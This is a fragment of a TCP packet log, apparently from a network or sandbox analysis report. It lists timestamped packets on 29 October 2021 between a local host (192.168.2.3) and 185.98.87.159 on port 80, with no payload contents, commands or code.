Oct 29, 2021 20:29:15.817922115 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817945004 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.818006992 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.819288015 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.870242119 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870264053 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870297909 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870312929 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870384932 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.870404005 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.870619059 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870637894 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870654106 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870671034 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870748043 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.870779991 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870798111 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870852947 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870870113 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.870883942 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870901108 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870917082 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870939016 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.870951891 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.870976925 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871002913 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871018887 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871077061 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871081114 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871083975 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871115923 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871140957 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871160984 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871179104 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871197939 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871229887 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871246099 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871262074 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871277094 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871280909 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871287107 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871289015 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871336937 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871355057 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871371031 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871387005 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871403933 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871403933 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871407986 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871411085 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871422052 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871439934 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871458054 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871473074 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871526003 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871531010 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871534109 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871566057 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871588945 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871609926 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871628046 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871649981 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871651888 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871680975 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871700048 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871716022 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871733904 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871748924 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.871763945 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871769905 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871772051 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.871968985 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.872488022 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.872519970 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.872677088 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.879491091 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.923818111 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.923880100 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.923928022 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.923973083 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.923979044 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924017906 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924066067 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924109936 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924144983 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924182892 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924187899 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924190998 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924252987 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924285889 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924325943 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924371958 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924508095 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924557924 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924599886 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924602032 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924604893 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924608946 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924638987 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924670935 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924700975 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.924983025 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.924988031 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.925008059 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.925051928 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.925081968 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.925111055 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.925198078 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.925206900 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933068037 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933104038 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933125973 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933146954 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933171034 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933192968 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933203936 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933214903 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933223963 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933237076 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933304071 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933424950 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933574915 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933600903 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933624029 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933654070 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933677912 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933681011 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933700085 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933722973 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933744907 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933765888 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933770895 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933789968 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.933810949 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933844090 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.933986902 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934010029 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934031963 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934055090 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934066057 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.934077978 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934099913 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934123993 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934145927 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.934175968 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.934227943 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.977768898 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.977832079 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.977873087 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.977910995 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.977943897 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.977981091 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978018045 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978023052 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978049994 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978055000 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978090048 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978127003 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978146076 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978149891 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978166103 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978200912 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978240013 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978256941 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978260994 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978281021 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978390932 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978420019 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978450060 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978487968 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978503942 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978508949 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978522062 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978548050 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978573084 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978598118 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.978652000 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978655100 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.978657007 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.986494064 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986526012 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986552954 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986577034 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986594915 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986617088 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986624956 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.986639977 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986664057 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.986670017 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.986855984 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.986968040 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987031937 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987054110 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987072945 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987095118 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987112045 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987118006 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.987159014 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.987165928 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.987399101 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987418890 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987435102 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987451077 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987498999 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.987507105 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.987829924 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987857103 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987873077 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987889051 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.987925053 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.988054037 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.988058090 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.988075018 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.988096952 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.988115072 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.988260031 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.988267899 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.031938076 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.031970978 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.031999111 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032027006 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032047987 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032068014 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032088041 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032107115 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032111883 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032126904 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032135010 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032155991 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032176018 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032185078 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032207966 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032227993 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032249928 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032253981 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032257080 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032284021 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032311916 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032332897 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032336950 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032363892 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032383919 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032403946 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032423019 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032442093 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.032460928 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032468081 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032469988 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.032880068 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040008068 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040040970 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040061951 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040082932 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040112019 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040139914 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040154934 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040168047 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040178061 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040188074 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040194988 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040215969 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040236950 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040256977 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040277958 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040326118 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040332079 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040334940 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040365934 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040388107 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040426970 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040465117 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040488005 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040515900 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040545940 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040556908 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040570021 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040592909 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040596962 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040618896 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040637970 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040657043 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040676117 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:16.040720940 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040725946 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.040729046 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.048547029 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:16.101911068 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.490556955 CEST	49823	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.542352915 CEST	80	49823	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.542470932 CEST	49823	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.542583942 CEST	49823	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.542608023 CEST	49823	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.594561100 CEST	80	49823	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.621248960 CEST	80	49823	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.621393919 CEST	49823	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.641783953 CEST	49823	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.693476915 CEST	80	49823	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.752326012 CEST	49824	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.806978941 CEST	80	49824	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.810017109 CEST	49824	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.810101032 CEST	49824	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.810117960 CEST	49824	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.894891024 CEST	80	49824	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.894994020 CEST	49824	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.900187016 CEST	49824	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:18.954816103 CEST	80	49824	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:18.979320049 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.031409025 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.032339096 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.032433987 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.124861956 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165730000 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165765047 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165781975 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165805101 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165827036 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165848970 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165869951 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165889978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165910959 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.165930986 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.166142941 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.166166067 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.166168928 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.166171074 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218000889 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218049049 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218076944 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218108892 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218138933 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218167067 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218197107 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218220949 CEST	80	49825	185.98.87.159	192.168.2.3
